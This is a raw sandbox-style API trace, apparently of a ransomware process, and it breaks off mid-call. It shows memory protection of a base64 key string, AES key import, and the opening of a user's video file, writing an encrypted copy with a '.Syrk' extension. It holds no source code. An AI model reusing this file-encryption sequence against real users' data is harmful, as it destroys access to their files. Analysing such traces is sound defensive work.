Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.449] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0262.449] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0262.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.449] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0262.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.450] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0262.450] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0262.450] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.450] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0262.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.450] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0262.450] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0262.450] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.450] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0262.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.450] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0262.450] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0262.450] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.451] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0262.451] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.451] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0262.451] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0262.451] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0262.451] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0262.451] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.452] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0262.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.452] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0262.452] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0262.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.452] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0262.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.452] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0262.452] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0262.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.452] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0262.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.452] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0262.452] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0262.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.453] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0262.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.453] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0262.453] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0262.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.453] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0262.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.453] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0262.453] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0262.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.453] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0262.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.454] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0262.454] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0262.454] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.454] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0262.454] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.454] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0262.454] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0262.454] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.454] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0262.454] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.454] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0262.455] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0262.455] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0262.455] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0262.455] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.455] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0262.455] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.455] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0262.455] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0262.455] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.456] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0262.456] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.456] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0262.456] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0262.456] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.456] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0262.456] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.456] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0262.456] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0262.456] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.456] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0262.456] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.456] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0262.456] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0262.456] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.457] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0262.457] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.457] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0262.457] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0262.457] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.457] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0262.457] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.457] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0262.457] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0262.457] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.457] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0262.457] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.458] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0262.458] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0262.458] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.458] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0262.458] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.458] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0262.458] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0262.458] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0262.459] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0262.459] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.459] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0262.459] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.459] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0262.459] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0262.459] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.459] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0262.459] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.459] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0262.459] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0262.459] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.460] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0262.460] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.460] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0262.460] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0262.460] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.460] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0262.460] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.460] EtwEventActivityIdControl () returned 0x0 [0262.460] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0262.460] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.460] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0262.460] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0262.462] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0262.464] CryptImportKey (in: hProv=0x5c4d298, pbData=0x252f7a8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c999a0) returned 1 [0262.464] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.464] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.465] EtwEventActivityIdControl () returned 0x0 [0262.465] EtwEventActivityIdControl () returned 0x0 [0262.465] EtwEventActivityIdControl () returned 0x0 [0262.471] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4")) returned 0x20 [0262.472] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4")) returned 0x20 [0262.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0262.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", lpFilePart=0x0) returned 0x24 [0262.473] EtwEventActivityIdControl () returned 0x0 [0262.473] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.473] EtwEventActivityIdControl () returned 0x0 [0262.473] EtwEventActivityIdControl () returned 0x0 [0262.473] EtwEventActivityIdControl () returned 0x0 [0262.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0262.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", lpFilePart=0x0) returned 0x24 [0262.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0262.475] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0262.475] GetFileType (hFile=0x364) returned 0x1 [0262.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0262.475] GetFileType (hFile=0x364) returned 0x1 [0262.475] EtwEventActivityIdControl () returned 0x0 [0262.485] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.485] EtwEventActivityIdControl () returned 0x0 [0262.485] EtwEventActivityIdControl () returned 0x0 [0262.485] EtwEventActivityIdControl () returned 0x0 [0262.486] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0262.486] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk", lpFilePart=0x0) returned 0x29 [0262.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0262.487] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0262.487] GetFileType (hFile=0x368) returned 0x1 [0262.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0262.488] GetFileType (hFile=0x368) returned 0x1 [0262.488] EtwEventActivityIdControl () returned 0x0 [0262.488] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x253f170 | out: pbBuffer=0x253f170) returned 1 [0262.489] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.489] CryptDuplicateKey (in: hKey=0x5c999a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c997a0) returned 1 [0262.489] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.489] CryptSetKeyParam (hKey=0x5c997a0, dwParam=0x4, pbData=0x25404a8*=0x1, dwFlags=0x0) returned 1 [0262.490] CryptSetKeyParam (hKey=0x5c997a0, dwParam=0x1, pbData=0x2540474, dwFlags=0x0) returned 1 [0262.490] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.493] EtwEventActivityIdControl () returned 0x0 [0262.493] EtwEventActivityIdControl () returned 0x0 [0262.494] EtwEventActivityIdControl () returned 0x0 [0262.495] EtwEventActivityIdControl () returned 0x0 [0262.495] ReadFile (in: hFile=0x364, lpBuffer=0x25430e4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25430e4*, lpNumberOfBytesRead=0x5a2e7d8*=0x657, lpOverlapped=0x0) returned 1 [0262.496] CryptEncrypt (in: hKey=0x5c997a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25570f0*, pdwDataLen=0x5a2e7cc*=0x650, dwBufLen=0x650 | out: pbData=0x25570f0*, pdwDataLen=0x5a2e7cc*=0x650) returned 1 [0262.497] ReadFile (in: hFile=0x364, lpBuffer=0x25430e4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25430e4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0262.497] CryptEncrypt (in: 